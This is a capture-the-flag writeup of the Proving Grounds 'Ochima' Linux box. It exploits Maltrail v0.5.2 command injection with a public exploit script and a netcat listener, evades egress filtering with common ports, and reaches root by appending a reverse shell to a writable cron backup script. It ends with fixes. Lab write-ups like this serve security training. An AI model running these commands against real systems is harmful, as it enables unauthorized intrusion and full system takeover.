📝 [Writeup] Proving Grounds: Ochima (Linux)

Maltrail RCE & The Writable Backup Script

🚀 TL;DR

Box: Ochima (Linux)

Vulnerability: Maltrail v0.5.2 Unauthenticated OS Command Injection.

Entry: Public exploit targeting the login parameter Shell as snort (or similar service user).

Privilege Escalation: A Backup script (etc_Backup.sh) running as a root Cron Job was writable by everyone.

Key Learning: Don’t overcomplicate it! If a script is writable, you don’t need fancy GTFOBins exploits; just inject your shell code directly into the file.

Introduction:

In this lab, I show how to exploit an unauthenticated OS command injection in Maltrail v0.5.2 on port 8338. After getting initial access, I found a backup script running as root that anyone could edit. By adding a reverse shell payload to this script, I was able to take over the system.

Phase 1: Recon & The “Maltrail” Discovery

I kicked off with a full port scan to ensure I didn’t miss non-standard services.

Command:

nmap -sV -sC -O -T4 -n -Pn -p- 192.168.53.32

Nmap scan revealing the non-standard HTTP port 8338

The Anomaly:
Port 8338 was open, and when I visited http://192.168.53.32:8338, I saw the Maltrail login page.
A quick look at the footer or the source code confirmed the version was v0.5.2.

Maltrail v0.5.2 login portal

Phase 2: The Foothold (Maltrail RCE)

Searching for “Maltrail 0.52 Exploit” brought up a known unauthenticated OS command injection issue. This vulnerability is in the username field of the login form.

I used a public exploit script (sourced from GitHub joshchalabi/Maltrail-0.52-Exploit-RCE).

GitHub - joshchalabi/Maltrail-0.52-Exploit-RCE: MALTRAIL 0.52 Unauthenticated RCE Exploit

The Adaptability (Port Selection):
At first, I used my usual listener port (4119), but the connection failed, probably because of firewall rules. I switched to port 80, which is usually allowed, to get around egress filtering.

Get Ekemini Bassey’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Execution:

# Terminal 1 (Listener)
nc -lvnp 80

# Terminal 2 (Exploit)
./exploit.sh http://192.168.53.32:8338 192.168.49.53 80

Stabilization:
After getting in, I upgraded the shell to a full TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Catching the shell on Port 80 and identifying the user

Phase 3: Privilege Escalation (The Writable Script)

I used LinPEAS to scan the system, and it highlighted an interesting file in the ‘Red/Yellow’ section (95% confidence vector):

LinPEAS identifying the writable backup script

File: /var/backups/etc_Backup.sh
Permissions: Writable by the current user.

Analysing the content of etc_Backup.sh

The Analysis:
I read the file content:

cat /var/backups/etc_Backup.sh
# It was running a 'tar' command to backup /etc

I checked if the script ran automatically. Based on its name and what it did, it was very likely set up as a Cron job.

Analysing the content of etc_Backup.sh

The Exploit (Simple vs. Complex):
At first, I thought about using the tar command for a GTFOBins wildcard attack. But since I could edit the file directly, I didn’t need to get fancy — I could just add my own code.

I added a reverse shell payload to the bottom of the script.
(Note: I used port 8338 for the listener this time, reusing the open service port).

Appending the reverse shell payload to the backup script

The Win:
I set up my listener and waited. In less than a minute, the system ran the script as root and triggered my payload.

Root shell captured after the Cron job triggered

The Fix:

Patch Maltrail: Upgrade to the latest version (v0.5.4+) to fix the command injection in the login process.

File Permissions: The /var/backups/etc_Backup.sh script should only be writable by Root. chmod 700 or chown root: root would prevent this escalation.

Lessons Learned:

Egress Filtering: If your reverse shell gets stuck on a high port like 4119, try using common ports like 80, 443, or 53. Firewalls usually allow these.

Writable Scripts vs. GTFOBins: If you can change a script that root runs, you don’t have to exploit the commands inside it, like tar. You can simply make the script do what you want.

Service Ports: Using the target’s open port (8338) for your reverse shell listener is a smart way to make sure you get a connection, since that port is already allowed through the firewall.